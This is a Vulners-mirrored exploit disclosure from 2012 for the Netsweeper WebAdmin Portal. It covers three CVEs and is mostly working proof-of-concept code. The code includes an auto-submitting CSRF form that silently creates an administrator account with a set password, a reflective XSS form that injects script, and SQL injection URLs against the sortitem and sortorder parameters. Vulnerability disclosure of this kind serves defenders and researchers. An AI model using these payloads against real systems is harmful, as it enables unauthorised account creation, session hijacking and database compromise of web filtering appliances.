Lucene search
K

Netsweeper WebAdmin Portal CSRF / XSS / SQL Injection

🗓️ 17 Sep 2012 00:00:00Reported by Jacob HolcombType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 27 Views

Netsweeper WebAdmin Portal CSRF, XSS, SQL Injection discovered and reported in 2012, using CSRF to create an admin account, reflective XSS exploit, and SQL injection vulnerability in sortorder and sortitem variable

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Netsweeper WebAdmin Portal Multiple Vulnerabilities
10 Sep 201200:00
zdt
CVE
CVE-2012-2446
9 Jul 201218:00
cve
CVE
CVE-2012-2447
9 Jul 201218:00
cve
CVE
CVE-2012-3859
9 Jul 201218:00
cve
Cvelist
CVE-2012-2446
9 Jul 201218:00
cvelist
Cvelist
CVE-2012-2447
9 Jul 201218:00
cvelist
Cvelist
CVE-2012-3859
9 Jul 201218:00
cvelist
Exploit DB
Netsweeper WebAdmin Portal Multiple Vulnerabilities
10 Jul 201200:00
exploitdb
Exploit DB
Netsweeper WebAdmin Portal - Multiple Vulnerabilities
17 Sep 201200:00
exploitdb
EUVD
EUVD-2012-2432
7 Oct 202500:30
euvd
Rows per page
`# Exploit Title: Netsweeper WebAdmin Portal CSRF, Reflective XSS, and SQL Injection ("The later")\  
# Date: Discovered and reported CSRF and XSS 4/2012 and "The later" 7/2012\  
# Author: Jacob Holcomb/Gimppy042\  
# Software Link: Netsweeper Inc. - Netsweeper Internet Filter (www.netsweeper.com)\  
# CVE :  
CVE-2012-2446 for the XSS issues, CVE-2012-2447 for the CSRF, and  
CVE-2012-3859 for the SQL Injection ("The later)  
NOTE:  
  
# "The later" was disclosed and reported to Netsweeper at a later date and will be posted as an addendum to this post and my posted disclosure report in the near future. "The later" vulnerability bears CVE-2012-3859.  
  
CSRF Exploitation:  
  
In the following example we use CSRF to forge a HTTP POST request that will create an administrator account. The user must be logged in for CSRF to work. Exploitation of a non-administrative users (Sys op) account results in creation of a standard user account.  
  
<head>  
<title>CSRF Create Admin - Netsweeper WebAdmin Portal BY:Jacob Holcomb</title>  
</head>  
  
<body>  
  
<form name="pwnd" action="http://server.domain_name/webadmin/accountmgr/adminupdate.php?act=add&filter_login=&goodmsg=Account+Added" method="post">  
<input type="hidden" name="userid" value="netsweeperPWND" />  
<input type="hidden" name="firstname" value="Jacob" />  
<input type="hidden" name="lastname" value="Holcomb" />  
<input type="hidden" name="email" value="[email protected]" />  
<input type="hidden" name="organization" value="yep_PWND" />  
<input type="hidden" name="description" value="PWND" />  
<input type="hidden" name="pass1" value="Pwnd-321" />  
<input type="hidden" name="pass2" value="Pwnd-321" />  
<input type="hidden" name="classification" value="admin" />  
<input type="hidden" name="expire" value="" />  
<input type="hidden" name="accounttheme" value="" />  
<input type="hidden" name="accountpmtheme" value="gpmtheme" />  
  
<script>  
document.pwnd.submit();  
</script>  
  
</body>  
  
  
XSS Exploitation:  
  
The following POC code exploits a reflective XSS vulnerability using the HTTP POST method.  
  
<head>  
<title>Post XSS(Reflective) Netsweeper WebAdmin Portal BY:Jacob Holcomb</title>  
</head>  
  
<body>  
  
<form name="pwnd" action="http:// server.domain_name  
/webadmin/tools/local_lookup.php?action=lookup" method="post">  
<input type="hidden" name="user" value="pwnd" />  
<input type="hidden" name="group" value="><script>alert('XSS')</script>" />  
<input type="hidden" name="policy" value="pwnd" />  
<input type="hidden" name="url" value="pwnd" />  
  
<script>  
document.getElementById('pwnd').submit();  
</script>  
  
</body>  
  
  
SQL Injection ("The later") Exploitation:  
  
The Netsweeper Internet Filter WebAdmin Portal is vulnerable to SQL injection, in the sortorder and sortitem variables.  
  
http://SERVER_Hostname/webadmin/reporter/view_details.php?sortitem= SQLi  
none &sortorder=asc&type=demand&id=1441  
or  
  
http://SERVER_Hostname/webadmin/reporter/view_details.php?sortitem=report_date&sortorder= SQLi  
none &type=demand&id=1441.  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation